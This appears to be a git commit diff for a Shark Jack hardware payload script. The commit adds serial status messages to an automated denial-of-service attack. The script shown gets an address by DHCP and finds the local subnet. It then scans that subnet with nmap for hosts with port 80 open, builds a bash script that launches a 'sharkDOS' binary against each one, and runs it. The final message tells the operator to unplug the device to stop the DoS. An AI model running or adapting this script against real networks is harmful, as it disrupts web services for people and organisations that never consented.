adding SERIAL_WRITE
parent
0044512a6c
commit
2387b783c1
|
@ -21,16 +21,21 @@
|
||||||
#
|
#
|
||||||
#
|
#
|
||||||
LED SETUP
|
LED SETUP
|
||||||
|
SERIAL_WRITE [*] Waiting for IP from DHCP...
|
||||||
NETMODE DHCP_CLIENT
|
NETMODE DHCP_CLIENT
|
||||||
SERIAL_WRITE [*] Waiting for IP from DHCP
|
SERIAL_WRITE [*] IP assigned from DHCP!
|
||||||
|
SERIAL_WRITE [*] Fetching IP for scanning network...
|
||||||
while [ -z "$SUBNET" ]; do
|
while [ -z "$SUBNET" ]; do
|
||||||
sleep 1 && SUBNET=$(ip addr | grep -i eth0 | grep -i inet | grep -E -o "([0-9]{1,3}[\.]){3}[0-9]{1,3}[\/]{1}[0-9]{1,2}" | sed 's/\.[0-9]*\//\.0\//')
|
sleep 1 && SUBNET=$(ip addr | grep -i eth0 | grep -i inet | grep -E -o "([0-9]{1,3}[\.]){3}[0-9]{1,3}[\/]{1}[0-9]{1,2}" | sed 's/\.[0-9]*\//\.0\//')
|
||||||
done
|
done
|
||||||
|
SERIAL_WRITE [*] IP Fetched!
|
||||||
# Scan network
|
# Scan network
|
||||||
LED ATTACK
|
LED ATTACK
|
||||||
SERIAL_WRITE [*] Scanning for open http ports
|
SERIAL_WRITE [*] Scanning for open http ports...
|
||||||
open=$(nmap -p 80 $SUBNET -q -oG - | grep open | awk '{print $2}' | awk '{printf("%s ",$0)} END { printf "\n" }'
|
open=$(nmap -p 80 $SUBNET -q -oG - | grep open | awk '{print $2}' | awk '{printf("%s ",$0)} END { printf "\n" }'
|
||||||
|
SERIAL_WRITE [*] Scanning completed!
|
||||||
chmod +x /root/payload/sharkDOS/sharkDOS
|
chmod +x /root/payload/sharkDOS/sharkDOS
|
||||||
|
SERIAL_WRITE [*] Started DOS execution...
|
||||||
echo "#\!/bin/bash" > /root/payload/sharkDOS/main
|
echo "#\!/bin/bash" > /root/payload/sharkDOS/main
|
||||||
for i in $open
|
for i in $open
|
||||||
do
|
do
|
||||||
|
@ -39,5 +44,5 @@ done
|
||||||
chmod +x /root/payload/sharkDOS/main
|
chmod +x /root/payload/sharkDOS/main
|
||||||
/root/payload/sharkDOS/./main
|
/root/payload/sharkDOS/./main
|
||||||
LED FINISH
|
LED FINISH
|
||||||
SERIAL_WRITE [*] Payload complete!
|
SERIAL_WRITE [*] Payload complete! Unplug Shark Jack to stop DOS.
|
||||||
sleep 2 && sync
|
sleep 2 && sync
|
||||||
|
|
Loading…
Reference in New Issue